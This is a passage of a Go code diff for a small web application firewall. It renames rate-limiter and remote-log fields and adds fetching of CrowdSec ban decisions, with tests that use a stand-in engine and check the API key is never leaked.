-func TestRefusalsOverTheLimitInAMinuteBreakTheRefusalLimit(
+func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
@@ -363,7 +361,7 @@ func TestRefusalsOverTheLimitInAMinuteBreakTheRefusalLimit(
 	for range limit {
 		if _, over := limiter.CountRefusal(client, start, limit); over {
 			t.Fatalf(
-				"a refusal within the limit of %d broke the refusal limit",
+				"a refusal within the threshold of %d broke the refusal limit",
 				limit,
 			)
 		}
@@ -376,7 +374,7 @@ func TestRefusalsOverTheLimitInAMinuteBreakTheRefusalLimit(
 	}
 	if !over || hit != want {
 		t.Errorf(
-			"one over the limit broke it: %t, with %+v; want %+v",
+			"one over the threshold broke it: %t, with %+v; want %+v",
 			over,
 			hit,
 			want,
@@ -384,7 +382,7 @@ func TestRefusalsOverTheLimitInAMinuteBreakTheRefusalLimit(
 	}
 
 	// Half a minute into the next, half of those four still count, 2, and
-	// this one: 3, within the limit.
+	// this one: 3, within the threshold.
 	hit, over = limiter.CountRefusal(
 		client,
 		start.Add(time.Minute+time.Minute/2),

internal/remotelog/remotelog.go

@@ -62,9 +62,9 @@ type Params struct {
 	// RootCAs are the certificates a SchemeTLS endpoint's certificate
 	// must chain to (SWW_WAF_LOG_REMOTE_TLS_CA_FILE), nil for the host's.
 	RootCAs *x509.CertPool
-	// BufferLines is the most lines held while they wait to be sent
+	// Buffer is the most lines held while they wait to be sent
 	// (SWW_WAF_LOG_REMOTE_BUFFER_LINES).
-	BufferLines int
+	Buffer int
 	// Facility is the number of the records' syslog facility
 	// (SWW_WAF_LOG_REMOTE_FACILITY), and AppName their APP-NAME
 	// (SWW_WAF_LOG_REMOTE_APP_NAME).
@@ -106,7 +106,7 @@ func New(params Params) *Sender {
 		// id and the structured data have no value.
 		beforeTime: "<" + strconv.Itoa(priority) + ">1 ",
 		afterTime:  " " + hostname + " " + params.AppName + " - - - ",
-		records:    make(chan []byte, params.BufferLines),
+		records:    make(chan []byte, params.Buffer),
 	}
 }
 

internal/remotelog/remotelog_test.go

@@ -129,7 +129,7 @@ func TestStalledEndpointHoldsUpNoWriteAndOldestRecordsAreDropped(
 		endpoint := listen(t)
 		endpointParams := params(remotelog.SchemeTLS, endpoint.Addr())
 		endpointParams.RootCAs = roots
-		endpointParams.BufferLines = 3
+		endpointParams.Buffer = 3
 		sender, _, _ := run(t, endpointParams)
 
 		// The sender connects, and its TLS handshake waits for an answer
@@ -402,10 +402,10 @@ func (o *output) text() string {
 // appName.
 func params(scheme string, addr net.Addr) remotelog.Params {
 	return remotelog.Params{
-		URL:         &url.URL{Scheme: scheme, Host: addr.String()},
+		URL:      &url.URL{Scheme: scheme, Host: addr.String()},
-		BufferLines: 10,
+		Buffer:   10,
-		Facility:    local0,
+		Facility: local0,
-		AppName:     appName,
+		AppName:  appName,
 	}
 }
 

internal/reputation/crowdsec_test.go

@@ -0,0 +1,622 @@
+package reputation_test
+
+import (
+	"bytes"
+	"encoding/json"
+	"fmt"
+	"io"
+	"log/slog"
+	"net/http"
+	"net/netip"
+	"reflect"
+	"strings"
+	"sync"
+	"testing"
+	"testing/synctest"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/reputation"
+)
+
+// The tests run in a synctest bubble, as those of the blocklists do, and
+// fetch the decision list from engine, a stand-in for a CrowdSec engine
+// that answers without the network.
+
+const (
+	// decisionsURL is the decision list of the tests' engine, and engineKey
+	// the key it answers.
+	decisionsURL = "http://crowdsec.example:8080/v1/decisions"
+	engineKey    = "crowdsec-key-0123456789abcdef"
+	// sshBF and probing are scenarios of the engine's decisions.
+	sshBF   = "crowdsecurity/ssh-bf"
+	probing = "crowdsecurity/http-probing"
+	// ban is the type of a decision to ban, and rangeScope the scope of a
+	// decision on a netblock, as CrowdSec names them.
+	ban        = "ban"
+	rangeScope = "Range"
+)
+
+func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(
+	t *testing.T,
+) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		began := time.Now()
+		manual := "manual 'ban' from 'localhost'"
+		e := &engine{key: engineKey, decisions: []decision{
+			{"Ip", suspect, ban, manual, began.Add(6 * time.Hour)},
+			// A shorter decision on the same address, which is not the one
+			// used.
+			{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
+			{
+				rangeScope,
+				"198.51.100.0/24",
+				ban,
+				probing,
+				began.Add(time.Hour),
+			},
+			{"Ip", "2001:db8::1", ban, sshBF, began.Add(2 * time.Hour)},
+			// Left out: a decision to show a captcha, and one on a country.
+			{"Ip", "192.0.2.50", "captcha", probing, began.Add(time.Hour)},
+			{"Country", "KP", ban, manual, began.Add(time.Hour)},
+		}}
+		lists := start(t, e, crowdSecParams())
+
+		for addr, want := range map[string]reputation.Decision{
+			suspect:          {Expires: began.Add(6 * time.Hour), Scenario: manual},
+			"198.51.100.0":   {Expires: began.Add(time.Hour), Scenario: probing},
+			"198.51.100.255": {Expires: began.Add(time.Hour), Scenario: probing},
+			"2001:db8::1":    {Expires: began.Add(2 * time.Hour), Scenario: sshBF},
+			"203.0.113.10":   {},
+			"198.51.101.0":   {},
+			"2001:db8::2":    {},
+			"192.0.2.50":     {},
+		} {
+			wantDecision(t, lists, addr, want)
+		}
+
+		// With the engine down, the copy kept still holds the decision on
+		// 198.51.100.0/24, which no longer bans once it has ended.
+		e.set(func(e *engine) { e.failing = true })
+		time.Sleep(time.Hour - time.Nanosecond)
+		synctest.Wait()
+		wantDecision(
+			t,
+			lists,
+			"198.51.100.7",
+			reputation.Decision{
+				Expires:  began.Add(time.Hour),
+				Scenario: probing,
+			},
+		)
+
+		time.Sleep(time.Nanosecond)
+		synctest.Wait()
+		wantDecision(t, lists, "198.51.100.7", reputation.Decision{})
+		wantDecision(
+			t,
+			lists,
+			suspect,
+			reputation.Decision{
+				Expires:  began.Add(6 * time.Hour),
+				Scenario: manual,
+			},
+		)
+	})
+}
+
+func TestCrowdSecDecisionListFetchedAgainEveryMinute(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		began := time.Now()
+		e := &engine{key: engineKey, decisions: []decision{
+			{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
+		}}
+		lists := start(t, e, crowdSecParams())
+		wantEngineFetches(t, e, 1)
+
+		added := reputation.Decision{
+			Expires:  began.Add(2 * time.Hour),
+			Scenario: probing,
+		}
+
+		e.set(func(e *engine) {
+			e.decisions = append(e.decisions,
+				decision{"Ip", "203.0.113.10", ban, probing, added.Expires})
+		})
+
+		time.Sleep(time.Minute - time.Nanosecond)
+		wantEngineFetches(t, e, 1)
+		wantDecision(t, lists, "203.0.113.10", reputation.Decision{})
+
+		time.Sleep(time.Nanosecond)
+		wantEngineFetches(t, e, 2)
+		wantDecision(t, lists, "203.0.113.10", added)
+	})
+}
+
+func TestCrowdSecDecisionOnAClientIsTheOneThatEndsLast(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		began := time.Now()
+		e := &engine{key: engineKey, decisions: []decision{
+			// Two decisions on one address, the shorter listed first.
+			{"Ip", suspect, ban, sshBF, began.Add(2 * time.Hour)},
+			{"Ip", suspect, ban, probing, began.Add(4 * time.Hour)},
+			// 198.51.100.130 is held by a decision on its address that ends
+			// after the one on its netblock, and 192.0.2.20 by one that ends
+			// before.
+			{
+				rangeScope,
+				"198.51.100.128/25",
+				ban,
+				sshBF,
+				began.Add(time.Hour),
+			},
+			{"Ip", "198.51.100.130", ban, probing, began.Add(3 * time.Hour)},
+			{
+				rangeScope,
+				"192.0.2.0/24",
+				ban,
+				probing,
+				began.Add(5 * time.Hour),
+			},
+			{"Ip", "192.0.2.20", ban, sshBF, began.Add(2 * time.Hour)},
+		}}
+		lists := start(t, e, crowdSecParams())
+
+		wantDecision(
+			t,
+			lists,
+			suspect,
+			reputation.Decision{
+				Expires:  began.Add(4 * time.Hour),
+				Scenario: probing,
+			},
+		)
+		wantDecision(
+			t,
+			lists,
+			"198.51.100.130",
+			reputation.Decision{
+				Expires:  began.Add(3 * time.Hour),
+				Scenario: probing,
+			},
+		)
+		wantDecision(
+			t,
+			lists,
+			"192.0.2.20",
+			reputation.Decision{
+				Expires:  began.Add(5 * time.Hour),
+				Scenario: probing,
+			},
+		)
+	})
+}
+
+func TestCrowdSecAnswerOfNoDecisionIsAGoodCopyThatListsNoClient(
+	t *testing.T,
+) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		began := time.Now()
+		e := &engine{key: engineKey, decisions: []decision{
+			{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
+		}}
+		lists := start(t, e, crowdSecParams())
+
+		// With its decision deleted, the engine answers null.
+		e.set(func(e *engine) { e.decisions = nil })
+		time.Sleep(time.Minute)
+		wantEngineFetches(t, e, 2)
+
+		want := []reputation.List{{
+			URL: decisionsURL, Tried: time.Now(), Fetched: time.Now(), Lines: []string{"null"},
+		}}
+		if got := lists.Snapshot(); !reflect.DeepEqual(got, want) {
+			t.Errorf("lists %+v, want %+v", got, want)
+		}
+
+		if lists.Failures(decisionsURL) != 0 {
+			t.Errorf("%d failures, want 0", lists.Failures(decisionsURL))
+		}
+
+		wantDecision(t, lists, suspect, reputation.Decision{})
+	})
+}
+
+func TestCrowdSecFailureKeepsTheLastGoodCopyAlertsOncePerCooldownAndHidesTheKey(
+	t *testing.T,
+) {
+	t.Parallel()
+
+	for _, tc := range crowdSecFailures() {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			synctest.Test(t, func(t *testing.T) {
+				var log bytes.Buffer
+
+				began := time.Now()
+				e := &engine{key: engineKey, decisions: []decision{
+					{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
+				}}
+				queue := newQueue()
+				p := crowdSecParams()
+				p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
+				p.Alerts = queue
+				lists := start(t, e, p)
+				kept := lists.Snapshot()
+
+				e.set(tc.fail)
+
+				// Each failure is tried again a minute after it.
+				for range 2 {
+					time.Sleep(time.Minute)
+					synctest.Wait()
+				}
+
+				wantEngineFetches(t, e, 3)
+				wantDecision(
+					t,
+					lists,
+					suspect,
+					reputation.Decision{
+						Expires:  began.Add(4 * time.Hour),
+						Scenario: sshBF,
+					},
+				)
+
+				want := kept[0]
+				want.Tried = time.Now()
+
+				got := lists.Snapshot()
+				if !reflect.DeepEqual(got, []reputation.List{want}) {
+					t.Errorf(
+						"lists %+v, want the first copy, last tried now, %+v",
+						got,
+						want,
+					)
+				}
+
+				if n := lists.Failures(decisionsURL); n != 2 {
+					t.Errorf("%d failures, want 2", n)
+				}
+
+				// One alert for the first failure; the cooldown holds back the
+				// second.
+				failed := time.Now().Add(-time.Minute)
+				alert := fetchFailure(failed, decisionsURL, tc.error)
+				wantAlert(t, queue, alert)
+
+				if !strings.Contains(
+					log.String(),
+					`"msg":"fetching a list failed",`+
+						`"url":"`+decisionsURL+`","error":"`+tc.error,
+				) {
+					t.Errorf("logged\n%s\nwant the failures", log.String())
+				}
+
+				wantKeyNotShown(t, e, log.String(), lists, queue)
+			})
+		})
+	}
+}
+
+// crowdSecFailure is a way for the engine to fail: fail has it answer the
+// fetches after the first so that they fail with error.
+type crowdSecFailure struct {
+	name  string
+	fail  func(e *engine)
+	error string
+}
+
+// crowdSecFailures returns the ways the engine can fail.
+func crowdSecFailures() []crowdSecFailure {
+	const notDecision = " does not give an address or a netblock and a duration, " +
+		"such as 4h0m0s"
+
+	return []crowdSecFailure{
+		{
+			"an answer other than 200",
+			func(e *engine) { e.failing = true },
+			"the server answered 503 Service Unavailable",
+		},
+		{
+			"a key the engine refuses",
+			func(e *engine) { e.key = "another-key-0123456789abcdef" },
+			"the server answered 403 Forbidden",
+		},
+		{
+			"a redirect",
+			func(e *engine) { e.redirect = "http://elsewhere.example/v1/decisions" },
+			"the server answered 302 Found",
+		},
+		{
+			"an answer that does not read",
+			func(e *engine) { e.answer = "<html>" },
+			"read the answer: invalid character '<' looking for beginning of value",
+		},
+		{
+			"a decision to ban whose value does not read",
+			func(e *engine) {
+				e.answer = `[{"duration": "4h", "scenario": "` + sshBF + `", ` +
+					`"scope": "Ip", "type": "ban", "value": "203.0.113.300"}]`
+			},
+			"decision 1" + notDecision,
+		},
+		{
+			"a decision to ban whose duration does not read",
+			func(e *engine) {
+				e.answer = `[{"duration": "4h", "scope": "Country", "type": "ban", ` +
+					`"value": "KP"}, {"duration": "four hours", "scope": "Range", ` +
+					`"type": "ban", "value": "198.51.100.0/24"}]`
+			},
+			"decision 2" + notDecision,
+		},
+	}
+}
+
+// wantKeyNotShown checks that no fetch carried the engine's key to a URL
+// other than its decision list, such as the one a redirect names, and that
+// the key is in none of what the fetches leave behind: log, the process
+// log, the alerts waiting in queue, and the copies of lists, which
+// lists.json keeps.
+func wantKeyNotShown(
+	t *testing.T,
+	e *engine,
+	log string,
+	lists *reputation.Lists,
+	queue *alerts.Queue,
+) {
+	t.Helper()
+
+	e.mu.Lock()
+	keySentTo := e.keySentTo
+	e.mu.Unlock()
+
+	if len(keySentTo) != 0 {
+		t.Errorf("the key was sent to %v", keySentTo)
+	}
+
+	shown, err := json.Marshal([]any{lists.Snapshot(), waiting(queue)})
+	if err != nil {
+		t.Fatalf("encode: %v", err)
+	}
+
+	if strings.Contains(log+string(shown), engineKey) {
+		t.Errorf("the key is shown in\n%s\n%s", log, shown)
+	}
+}
+
+func TestCrowdSecDecisionListKeptAcrossARestartEndsWhenItsDecisionsDo(
+	t *testing.T,
+) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		began := time.Now()
+		e := &engine{key: engineKey, decisions: []decision{
+			{
+				rangeScope,
+				"198.51.100.0/24",
+				ban,
+				probing,
+				began.Add(time.Hour),
+			},
+		}}
+		lists := start(t, e, crowdSecParams())
+		kept := lists.Snapshot()
+
+		// Restarted half an hour later with what lists.json keeps, and
+		// the engine down, the decision still bans, until the end it had at
+		// the fetch, half an hour on.
+		time.Sleep(30 * time.Minute)
+
+		down := &engine{key: engineKey, failing: true}
+		again := reputation.New(crowdSecParams())
+		again.SetTransport(down)
+
+		err := again.Load(kept)
+		if err != nil {
+			t.Fatalf("load: %v", err)
+		}
+
+		run(t, again)
+
+		want := reputation.Decision{
+			Expires:  began.Add(time.Hour),
+			Scenario: probing,
+		}
+		wantDecision(t, again, "198.51.100.7", want)
+
+		time.Sleep(30*time.Minute - time.Nanosecond)
+		synctest.Wait()
+		wantDecision(t, again, "198.51.100.7", want)
+
+		time.Sleep(time.Nanosecond)
+		synctest.Wait()
+		wantDecision(t, again, "198.51.100.7", reputation.Decision{})
+	})
+}
+
+func TestLoadTakesACrowdSecListNeverFetchedAndRefusesACopyThatDoesNotRead(
+	t *testing.T,
+) {
+	t.Parallel()
+
+	now := time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)
+	lists := reputation.New(crowdSecParams())
+
+	// Tried, and never fetched: there is no copy to read.
+	err := lists.Load([]reputation.List{{URL: decisionsURL, Tried: now}})
+	if err != nil {
+		t.Errorf("load the list never fetched: %v", err)
+	}
+
+	err = lists.Load([]reputation.List{{
+		URL: decisionsURL, Tried: now, Fetched: now, Lines: []string{
+			`[{"duration": "4h", "scope": "Range", "type": "ban", ` +
+				`"value": "198.51.100.0/33"}]`,
+		},
+	}})
+
+	const want = "the copy of " + decisionsURL + ": decision 1 does not give an " +
+		"address or a netblock and a duration, such as 4h0m0s"
+	if err == nil || err.Error() != want {
+		t.Errorf("error %v, want %s", err, want)
+	}
+}
+
+// engine is a stand-in for the local API of a CrowdSec engine. It answers
+// a fetch of the decision list that carries its key in X-Api-Key with its
+// decisions still in force, each with the time it has left as it answers,
+// by the bubble's clock, as an engine does, or with answer while that is
+// not "". It answers 403 to a fetch without its key, as an engine does,
+// with a redirect to redirect while that is not "", and 503 while failing.
+// It counts the fetches, and notes in keySentTo the URL of each fetch of
+// another URL that carries a key, as one following a redirect would.
+type engine struct {
+	mu        sync.Mutex
+	key       string
+	decisions []decision
+	answer    string
+	redirect  string
+	failing   bool
+	fetches   int
+	keySentTo []string
+}
+
+// decision is a decision of the engine, which ends at expires.
+type decision struct {
+	scope, value, kind, scenario string
+	expires                      time.Time
+}
+
+// RoundTrip has the engine answer req, in place of the network.
+func (e *engine) RoundTrip(req *http.Request) (*http.Response, error) {
+	e.mu.Lock()
+	defer e.mu.Unlock()
+
+	e.fetches++
+
+	if req.URL.String() != decisionsURL &&
+		req.Header.Get("X-Api-Key") != "" {
+		e.keySentTo = append(e.keySentTo, req.URL.String())
+	}
+
+	status, header, body := http.StatusOK, http.Header{}, e.answer
+
+	switch {
+	case req.URL.String() != decisionsURL || req.Header.Get("X-Api-Key") != e.key:
+		status, body = http.StatusForbidden, `{"message":"access forbidden"}`
+	case e.redirect != "":
+		status, header = http.StatusFound, http.Header{
+			"Location": {e.redirect},
+		}
+	case e.failing:
+		status, body = http.StatusServiceUnavailable, ""
+	case body == "":
+		body = e.inForce(time.Now())
+	}
+
+	return &http.Response{
+		StatusCode: status,
+		Status:     fmt.Sprintf("%d %s", status, http.StatusText(status)),
+		Header:     header,
+		Body:       io.NopCloser(strings.NewReader(body)),
+		Request:    req,
+	}, nil
+}
+
+// inForce returns the decisions in force at now, as the engine answers
+// them: a JSON list, null for none.
+func (e *engine) inForce(now time.Time) string {
+	var answer []map[string]string
+
+	for _, d := range e.decisions {
+		if now.Before(d.expires) {
+			answer = append(answer, map[string]string{
+				"duration": d.expires.Sub(now).
+					String(),
+				"origin":   "crowdsec",
+				"scenario": d.scenario, "scope": d.scope, "type": d.kind, "value": d.value,
+			})
+		}
+	}
+
+	body, err := json.Marshal(answer)
+	if err != nil {
+		panic(err) // a list of maps of strings always encodes
+	}
+
+	return string(body)
+}
+
+// set changes the engine with change.
+func (e *engine) set(change func(e *engine)) {
+	e.mu.Lock()
+	defer e.mu.Unlock()
+
+	change(e)
+}
+
+// crowdSecParams returns the Params of the decision list of the tests'
+// engine, fetched with its key, by the bubble's clock, with alerts to a
+// queue that sends none.
+func crowdSecParams() reputation.Params {
+	p := params()
+	p.CrowdSecDecisionsURL = decisionsURL
+	p.CrowdSecKey = engineKey
+
+	return p
+}
+
+// wantEngineFetches waits until Run has made the fetches due, and checks
+// how many the engine has had.
+func wantEngineFetches(t *testing.T, e *engine, want int) {
+	t.Helper()
+
+	synctest.Wait()
+
+	e.mu.Lock()
+	got := e.fetches
+	e.mu.Unlock()
+
+	if got != want {
+		t.Errorf("%d fetches, want %d", got, want)
+	}
+}
+
+// wantDecision checks the decision lists says is in force on addr now,
+// the zero Decision for none.
+func wantDecision(
+	t *testing.T,
+	lists *reputation.Lists,
+	addr string,
+	want reputation.Decision,
+) {
+	t.Helper()
+
+	got, listed := lists.CrowdSecDecision(
+		netip.MustParseAddr(addr),
+		time.Now(),
+	)
+	if listed != !want.Expires.IsZero() ||
+		listed &&
+			(!got.Expires.Equal(want.Expires) || got.Scenario != want.Scenario) {
+		t.Errorf(
+			"%s has the decision %+v in force %t, want %+v",
+			addr,
+			got,
+			listed,
+			want,
+		)
+	}
+}

internal/reputation/dnsbl_test.go

@@ -42,9 +42,9 @@ const (
 	otherZone = "other.example"
 	// cacheTTL is the tests' SWW_WAF_IP_REPUTATION_CACHE_TTL, and timeout
 	// their SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS: a second, the least time
-	// /etc/resolv.conf can have Go's resolver wait for one server, so that
+	// /etc/resolv.conf
-	// it is the DNSBL's own timeout that ends a query, whatever that file
+	// can have Go's resolver wait for one server, so that it is the
-	// says.
+	// DNSBL's own timeout that ends a query, whatever that file says.
 	cacheTTL = 24 * time.Hour
 	timeout  = time.Second
 	// listed and unlisted are clients zone is asked about by the names

internal/reputation/export_test.go

@@ -11,6 +11,7 @@ import (
 // network.
 func (l *Lists) SetTransport(transport http.RoundTripper) {
 	l.httpClient.Transport = transport
+	l.crowdSecClient.Transport = transport
 }
 
 // SetTransport has a's checks go through transport instead of the

internal/reputation/reputation.go

@@ -1,7 +1,8 @@
 // Package reputation fetches the lists the settings name by URL: the
 // blocklists of SWW_WAF_BLOCKLIST_URLS, the file of AS:percent lines
-// SWW_WAF_ASN_LIMIT_PERCENT_URL names, and the address lists of
+// SWW_WAF_ASN_LIMIT_PERCENT_URL names, the address lists of SWW_WAF_TAG_LISTS, and
-// SWW_WAF_TAG_LISTS. It keeps the last good copy of
+// the decision list of the CrowdSec engine SWW_WAF_CROWDSEC_LAPI_URL names. It
+// keeps the last good copy of
 // each, whole, comment lines included, which is used while a fetch fails,
 // and when each was last tried. It also asks the DNSBL zones of
 // SWW_WAF_DNSBL_ZONES about clients, and keeps their verdicts, and checks
@@ -12,6 +13,7 @@ package reputation
 
 import (
 	"context"
+	"encoding/json"
 	"errors"
 	"fmt"
 	"io"
@@ -33,6 +35,10 @@ const (
 	maxListBytes = 16 << 20
 	// fetchTimeout bounds one fetch of a list.
 	fetchTimeout = time.Minute
+	// crowdSecRefresh is how long after the CrowdSec decision list was last
+	// fetched or tried it is fetched again: the engine is the operator's
+	// own, and makes and ends decisions all the time.
+	crowdSecRefresh = time.Minute
 	// mappedBits is the length of ::ffff:0.0.0.0/96, the netblock of every
 	// IPv4-mapped address.
 	mappedBits = 96
@@ -46,6 +52,9 @@ var (
 	)
 	errNotASNPercent = errors.New(
 		"is not an AS number, : and a percentage, such as AS64496:50")
+	errNotDecision = errors.New(
+		"does not give an address or a netblock and a duration, such as 4h0m0s",
+	)
 )
 
 // List is a list as lists.json holds it: the URL it is fetched from,
@@ -68,8 +77,14 @@ type Params struct {
 	ASNLimitPercentURL string
 	// TagLists are the address lists that add a tag (SWW_WAF_TAG_LISTS).
 	TagLists []config.TagList
+	// CrowdSecDecisionsURL is the CrowdSec decision list, "" while
+	// SWW_WAF_CROWDSEC_LAPI_URL is unset, fetched with CrowdSecKey
+	// (SWW_WAF_CROWDSEC_LAPI_KEY).
+	CrowdSecDecisionsURL string
+	CrowdSecKey          string
 	// Refresh is how long after a list was last fetched or tried it is
-	// fetched again (SWW_WAF_BLOCKLIST_REFRESH).
+	// fetched again (SWW_WAF_BLOCKLIST_REFRESH), but for the CrowdSec decision
+	// list, which is fetched again crowdSecRefresh after.
 	Refresh time.Duration
 	// Now tells the time, normally time.Now in UTC.
 	Now func() time.Time
@@ -84,6 +99,10 @@ type Params struct {
 type Lists struct {
 	params     Params
 	httpClient *http.Client
+	// crowdSecClient fetches the CrowdSec decision list. It follows no
+	// redirect, so that the key goes to the engine alone: a redirect is a
+	// failure.
+	crowdSecClient *http.Client
 
 	mu sync.Mutex
 	// lists are by URL, one for each URL Params names.
@@ -100,12 +119,22 @@ type list struct {
 }
 
 // entries are what the lines of a copy say: for a blocklist or a tag list, the
-// netblocks it names, with the lengths among them, and for the file of
+// netblocks it names, with the lengths among them, for the file of AS:percent
-// AS:percent lines, the percentage it gives each AS number.
+// lines, the percentage it gives each AS number, and for the CrowdSec decision
+// list, the decision on each netblock that ends last, with the lengths among
+// them.
 type entries struct {
 	netblocks map[netip.Prefix]bool
 	lengths   []int
 	percents  map[string]int64
+	decisions map[netip.Prefix]Decision
+}
+
+// Decision is a decision of the CrowdSec engine to ban a netblock: when
+// it ends, and the scenario that made it, such as crowdsecurity/ssh-bf.
+type Decision struct {
+	Expires  time.Time
+	Scenario string
 }
 
 // New returns the lists, without a copy of any yet.
@@ -113,7 +142,12 @@ func New(params Params) *Lists {
 	l := &Lists{
 		params:     params,
 		httpClient: &http.Client{},
-		lists:      map[string]*list{},
+		crowdSecClient: &http.Client{
+			CheckRedirect: func(*http.Request, []*http.Request) error {
+				return http.ErrUseLastResponse
+			},
+		},
+		lists: map[string]*list{},
 	}
 
 	for _, listURL := range l.URLs() {
@@ -125,7 +159,7 @@ func New(params Params) *Lists {
 
 // URLs returns the URL of every list: the blocklists' in the order
 // SWW_WAF_BLOCKLIST_URLS names them, then SWW_WAF_ASN_LIMIT_PERCENT_URL, then the
-// tag lists'.
+// tag lists', then the CrowdSec decision list's.
 func (l *Lists) URLs() []string {
 	urls := slices.Clone(l.params.BlocklistURLs)
 	if l.params.ASNLimitPercentURL != "" {
@@ -136,6 +170,10 @@ func (l *Lists) URLs() []string {
 		urls = append(urls, list.URL)
 	}
 
+	if l.params.CrowdSecDecisionsURL != "" {
+		urls = append(urls, l.params.CrowdSecDecisionsURL)
+	}
+
 	return urls
 }
 
@@ -187,6 +225,40 @@ func (l *Lists) ASNLimitPercent(asn string) (int64, bool) {
 	return percent, listed
 }
 
+// CrowdSecDecision returns the decision of the copy of the CrowdSec
+// decision list on a netblock that holds addr and that ends last, and
+// whether it is still in force at now. A decision that has ended no
+// longer bans, even before the next fetch drops it.
+func (l *Lists) CrowdSecDecision(
+	addr netip.Addr,
+	now time.Time,
+) (Decision, bool) {
+	if l.params.CrowdSecDecisionsURL == "" {
+		return Decision{}, false
+	}
+
+	l.mu.Lock()
+	defer l.mu.Unlock()
+
+	kept := l.lists[l.params.CrowdSecDecisionsURL].entries
+
+	var last Decision
+
+	for _, length := range kept.lengths {
+		netblock, err := addr.Prefix(length)
+		if err != nil {
+			continue // an IPv6 netblock's length, past an IPv4 address's 32 bits
+		}
+
+		decision := kept.decisions[netblock]
+		if decision.Expires.After(last.Expires) {
+			last = decision
+		}
+	}
+
+	return last, now.Before(last.Expires)
+}
+
 // Fetched returns when the copy in use of the list at listURL was
 // fetched, or zero while there is none.
 func (l *Lists) Fetched(listURL string) time.Time {
@@ -259,7 +331,7 @@ func (l *Lists) Load(lists []List) error {
 			continue // dropped, or a list tried but never fetched, without a copy
 		}
 
-		read, err := l.parse(kept.URL, kept.Lines)
+		read, err := l.parse(kept.URL, kept.Lines, kept.Fetched)
 		if err != nil {
 			return fmt.Errorf("the copy of %s: %w", kept.URL, err)
 		}
@@ -305,7 +377,8 @@ func (l *Lists) fetchDue(ctx context.Context) time.Time {
 }
 
 // due returns when the list at listURL is to be fetched: Refresh after it
-// was last fetched or tried, the later of the two.
+// was last fetched or tried, the later of the two, or crowdSecRefresh
+// after for the CrowdSec decision list.
 func (l *Lists) due(listURL string) time.Time {
 	l.mu.Lock()
 	defer l.mu.Unlock()
@@ -317,6 +390,10 @@ func (l *Lists) due(listURL string) time.Time {
 		last = held.kept.Tried
 	}
 
+	if listURL == l.params.CrowdSecDecisionsURL {
+		return last.Add(crowdSecRefresh)
+	}
+
 	return last.Add(l.params.Refresh)
 }
 
@@ -331,7 +408,7 @@ func (l *Lists) fetch(ctx context.Context, listURL string) {
 
 	var found entries
 	if err == nil {
-		found, err = l.parse(listURL, lines)
+		found, err = l.parse(listURL, lines, now)
 	}
 
 	cutOff := err != nil && ctx.Err() != nil
@@ -391,8 +468,11 @@ func raiseFailure(queue *alerts.Queue, reason, source string, err error) {
 	})
 }
 
-// get fetches the list at listURL, and returns its lines. An answer other
+// get fetches the list at listURL, and returns its lines. The CrowdSec
-// than 200, or a list longer than maxListBytes, is a failure.
+// decision list is fetched with CrowdSecKey in the header X-Api-Key, where
+// the engine looks for it, by crowdSecClient, which follows no redirect.
+// An answer other than 200, or a list longer than maxListBytes, is a
+// failure.
 func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) {
 	ctx, cancel := context.WithTimeout(ctx, fetchTimeout)
 	defer cancel()
@@ -407,7 +487,14 @@ func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) {
 		return nil, fmt.Errorf("make the request: %w", err)
 	}
 
-	res, err := l.httpClient.Do(req)
+	client := l.httpClient
+
+	if listURL == l.params.CrowdSecDecisionsURL {
+		req.Header.Set("X-Api-Key", l.params.CrowdSecKey)
+		client = l.crowdSecClient
+	}
+
+	res, err := client.Do(req)
 	if err != nil {
 		// Do's error names the URL, which the log line and the alert name
 		// already: only what went wrong is kept.
@@ -439,16 +526,22 @@ func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) {
 	return lines, nil
 }
 
-// parse reads the lines of the list at listURL: those of a blocklist or a
+// parse reads the lines of the list at listURL, fetched at fetched: those
-// tag list, or of the file of AS:percent lines. Anything after a ; or a #
+// of a blocklist or a tag list, of the file of AS:percent lines, or of the
-// on a line is left out, and so is a line left blank. Any other line that
+// CrowdSec decision list. In all but the decision list, anything after a ; or
+// a # on a line is left out, and so is a line left blank. Any other line that
 // does not read is an error naming it by its number.
-func (l *Lists) parse(listURL string, lines []string) (entries, error) {
+func (l *Lists) parse(
-	if listURL == l.params.ASNLimitPercentURL {
+	listURL string, lines []string, fetched time.Time,
+) (entries, error) {
+	switch listURL {
+	case l.params.ASNLimitPercentURL:
 		return parsePercents(lines)
+	case l.params.CrowdSecDecisionsURL:
+		return parseDecisions(lines, fetched)
+	default:
+		return parseNetblocks(lines)
 	}
-
-	return parseNetblocks(lines)
 }
 
 // parseNetblocks reads the lines of a blocklist or a tag list, each an address
@@ -535,6 +628,64 @@ func parsePercents(lines []string) (entries, error) {
 	return found, nil
 }
 
+// parseDecisions reads the lines of the CrowdSec decision list fetched at
+// fetched: the engine's answer, a JSON list of its decisions in force,
+// null while it has none. A decision of the type ban whose scope is Ip or
+// Range, as CrowdSec names them, bans its value, an address or a netblock
+// as parseNetblock reads it, until its duration, the time it had left as
+// the engine answered, has passed since fetched. Any other decision, such
+// as one to show a captcha or one on a country, is left out. A decision
+// to ban whose value or duration does not read is an error naming it by
+// its number.
+func parseDecisions(lines []string, fetched time.Time) (entries, error) {
+	var answer []struct {
+		Duration string `json:"duration"`
+		Scenario string `json:"scenario"`
